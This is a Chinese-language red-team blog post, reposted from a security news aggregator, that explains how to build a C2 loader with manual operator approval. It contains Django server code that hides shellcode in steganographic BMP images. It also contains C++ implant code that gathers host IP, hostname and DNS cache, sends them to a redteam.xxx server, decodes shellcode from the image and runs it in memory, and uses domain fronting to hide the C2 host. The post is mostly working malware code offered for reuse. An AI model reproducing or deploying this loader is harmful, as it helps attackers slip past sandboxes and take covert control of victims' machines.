干货 | 通过人工准入实现C2上线
2022-11-4 11:57:30 Author: HACK学习君(查看原文) 阅读量:15 收藏

把shellcode载荷放在平台生成的隐写图片中,前锋马回传机器基础信息用于判断是否是沙箱或调试机,确认是真实目标,人为准入,目标机解析隐写图片shellcode后上线到c2。

server端是django写,clinet是c++。 环境安装:

pip3 install django==2.1.3pip3 install chardetpip3 install pycryptodome
访问流程: 
  1. 客户端随机生成GUID动态请求server端获取key 

http://redteam.xxx/key?uuid=41303000200-0400-0500-0006-000700080009
wchar_t guidbuffer[GUID_LEN] = { 0 };GUID guid;
if (CoCreateGuid(&guid)){ fprintf(stderr, "create guid error\n"); return -1;}
_snwprintf_s(guidbuffer, sizeof(guidbuffer), L"%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X", guid.Data1, guid.Data2, guid.Data3, guid.Data4[0], guid.Data4[1], guid.Data4[2], guid.Data4[3], guid.Data4[4], guid.Data4[5], guid.Data4[6], guid.Data4[7]);

2.获取客户端IP,主机名称以及本地dns缓存记录(这里回传数据可以根据实际情况进行定制,例如杀软安装软件等…) ,使用key对机器信息aes加密发送给server端 aes加解密参考 
https://blog.csdn.net/witto_sdy/article/details/83375999 http://redteam.xxx/add?uuid=41303000200-0400-0500-0006-000700080009&target=3d316499851da40d2c29a0cf2e6f645a&dns=e8f1c693514ccd053addeee84cfd350ad0f38374e86f6f799b814cc09dda09c7
获取主机名以及对于的IP    WSADATA wsaData;    int err = WSAStartup(MAKEWORD(2, 0), &wsaData);
char szHostName[MAX_PATH] = { 0 }; int nRetCode; nRetCode = gethostname(szHostName, sizeof(szHostName));
char* lpLocalIP; PHOSTENT hostinfo;
hostinfo = gethostbyname(szHostName); lpLocalIP = inet_ntoa(*(struct in_addr*)*hostinfo->h_addr_list);获取本地DNS缓存记录std::vector<CachedDnsRecord> getDnsCache(){ std::vector<CachedDnsRecord> results;
PDNSCACHEENTRY pEntry = (PDNSCACHEENTRY)malloc(sizeof(DNSCACHEENTRY)); HINSTANCE hLib = LoadLibrary(TEXT("DNSAPI.dll")); DNS_GET_CACHE_DATA_TABLE DnsGetCacheDataTable = (DNS_GET_CACHE_DATA_TABLE)GetProcAddress(hLib, "DnsGetCacheDataTable");
int stat = DnsGetCacheDataTable(pEntry); pEntry = pEntry->pNext; while (pEntry) { CachedDnsRecord record; record.name = wstring(pEntry->pszName); //wprintf(L"%s|", record.name.c_str());
record.type = pEntry->wType; results.push_back(record); pEntry = pEntry->pNext; } free(pEntry); return results;}

3.对回传回来主机名,dns记录,ip解密的数据进行判断,根据信息判断是否允许上线,允许上线则用生成一个图片隐写马,等待客户端请求返回解析出来shelllcode server端处理代码

# 判断生成图片class TaskShow(View):
@csrf_exempt def post(self, request, **kwargs): taskid = (request.POST['taskid']) obj = models.Message.objects.get(id=taskid) shellcode = "fce88900000060xxxxxxx" #shellcode cmd = "SimpleShellcode.exe {shellcode}".format(shellcode=shellcode) proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) print(proc.stdout.readline()) pathfile = (str(obj.UUIDreuslt) + ".bmp") time.sleep(5) os.rename("save.bmp", pathfile) filedir = os.path.join(os.getcwd(), 'images', pathfile) shutil.move(pathfile, filedir) models.Message.objects.filter(id=taskid).update(gogogo=shellcode)
# 获取appid对应的图片class Tasktext(View): def get(self, request): UUIDreuslt = request.GET.get("appid") filename = UUIDreuslt + ".bmp" filedir = os.path.join(os.getcwd(), 'images', filename) if not os.path.exists(filedir): return HttpResponse(status=404) else: filedir_tmp = UUIDreuslt + "_" + str(random.randint(1, 100)) + ".bmp" temp_bmp = os.path.join(os.getcwd(), 'images', filedir_tmp) photo = open(filedir, 'rb') photo2 = open(temp_bmp, 'wb') photo2.write(photo.read()) photo.close() photo2.close()
os.remove(filedir) q = models.Message.objects.get(UUIDreuslt=UUIDreuslt) print(q.id) models.Message.objects.filter(id=q.id).update(cscscs=filedir) return FileResponse(open(temp_bmp, 'rb'), content_type='*/*')

4.clinet端循环监听请求对应的图片读取解析图片位移获取shellcode并内存加载上线c2 
http://redteam.xxx/task/cmd?uuid=41303000200-0400-0500-0006-000700080009
    DWORD dwStatusCodeReturn = 0;    while (dwStatusCodeReturn != 200)    {
resultStr = webhttp(fullUrlPath, &dwStatusCodeReturn); if (dwStatusCodeReturn == 200) { cout << "exit" << endl; } cout << "请求失败:" << dwStatusCodeReturn << endl; ::Sleep(60 * 1000 * 3);
}
#位移处理图片中的shelllcode
std::wstring rightPart = GetRightStr(Url, L"?"); std::wstring wcs = rightPart.c_str(); size_t wcsPos = wcs.find(L"appid"); if (wcsPos != string::npos && dwStatusCode == 200) { BITMAPFILEHEADER *pHdr = (BITMAPFILEHEADER *)pBuffer; LPBYTE pStr = pBuffer + pHdr->bfOffBits + 3; char szTmp[5000]; RtlZeroMemory(szTmp, 5000); for (int i = 0; i < 5000; i++) { if (*pStr == 0 || *pStr == 0xFF) { break; } szTmp<i> = *pStr; pStr += 4; } printf_s(szTmp); unsigned int char_in_hex;
unsigned int iterations = strlen(szTmp);

unsigned int memory_allocation = strlen(szTmp) / 2;
VirtualProtect(szTmp, memory_allocation, PAGE_READWRITE, 0);
for (unsigned int i = 0; i < iterations / 2; i++) { sscanf_s(szTmp + 2 * i, "%2X", &char_in_hex); szTmp<i> = (char)char_in_hex; }
MyVirtualAlloc defVirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc"); MyVirtualProtect defVirtualProtect = (MyVirtualProtect)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualProtect");
void* abvc = defVirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE); memcpy(abvc, szTmp, memory_allocation); DWORD ignore; defVirtualProtect(abvc, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) abvc)(); delete pBuffer;

}


对敏感数据进行处理

沙箱中会静态从内存中匹配url 链接,这里用域前置来匿名服务器地址, 在winhttp中增加个指定的host头来实现域前置

std::wstring strHost = GetHost(Url); #获取hoststd::wstring strRequestStr = GetRequestStr(Url); #获取目录//wcout << strHost;//wcout << strRequestStr;//访问的headerstd::wstring  header = L"Host: " + strHost + L"\r\nContent-type: application/x-www-form-urlencoded\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.8\r\n";//建立连接的host strHost = strHost + L".w.xxxx.com"; //动态域名 LPCWSTR host = wstringToLPCWSTR(strHost.c_str());LPCWSTR requestStr = wstringToLPCWSTR(strRequestStr.c_str());


HINTERNET hSession = WinHttpOpen(L"User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.104 Safari/537.36 Core/1.53.2141.400 QQBrowser/9.5.10219.400", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);DWORD dwReadBytes = 0, dwSizeDW = sizeof(dwSizeDW), dwContentSize = 0, dwIndex = 0, dwStatusCode = 0;HINTERNET hConnect = WinHttpConnect(hSession, host, INTERNET_DEFAULT_HTTP_PORT, 0);


HINTERNET hRequest = hRequest = WinHttpOpenRequest(hConnect, L"GET", requestStr, NULL, WINHTTP_NO_REFERER, NULL, NULL);
//Add HTTP header LPCWSTR header1 = wstringToLPCWSTR(header.c_str());SIZE_T len = lstrlenW(header1);WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);WinHttpReceiveResponse(hRequest, 0);
dwSizeDW = sizeof(dwContentSize);WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
dwSizeDW = sizeof(dwStatusCode);WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwStatusCode, &dwSizeDW, NULL);if (dwStatusCodeReturn) *dwStatusCodeReturn = dwStatusCode;BYTE *pBuffer = NULL;pBuffer = new BYTE[dwContentSize + 1];ZeroMemory(pBuffer, dwContentSize + 1);

//LPCWSTR header1 = wstringToLPCWSTR(header.c_str());//SIZE_T len = lstrlenW(header1);//WinHttpAddRequestHeaders(hRequest, header1, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);

if (dwContentSize > 0){ do { WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
} while (dwReadBytes == 0);}

实现效果

最终效果

思路和主要代码都给出来了,动动手就可以写出来了,欢迎交流指正!


推荐阅读

实战 | 记一次渗透拿下某儿童色情网站的经过

实战 | 某某街一处XSS的绕过思路

实战 | 记一次企业钓鱼演练

2022年,从现在开始学安全还不迟!

干货 | 2022年超全的安全知识库

实战 | 实战一次完整的BC网站渗透测试

作者:c1y2m3
原文地址:https://c1y2m3.github.io/2022/09/21/%E9%80%9A%E8%BF%87%E4%BA%BA%E5%B7%A5%E5%87%86%E5%85%A5%E5%AE%9E%E7%8E%B0c2%E4%B8%8A%E7%BA%BF/

如有侵权,请联系删除

星球部分精华内容推荐

其他更多精彩内容,欢迎加入我们的星球


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzNzMxMDkxNw==&mid=2247491151&idx=1&sn=2aad1f589fddc12e3bfc7ea5ef0618ce&chksm=e8cbd8e5dfbc51f3f674e1ebb5e060fa648ac74fd466ce74b33178e0d1864aa0ac5a530a4f5f#rd
如有侵权请联系:admin#unsafe.sh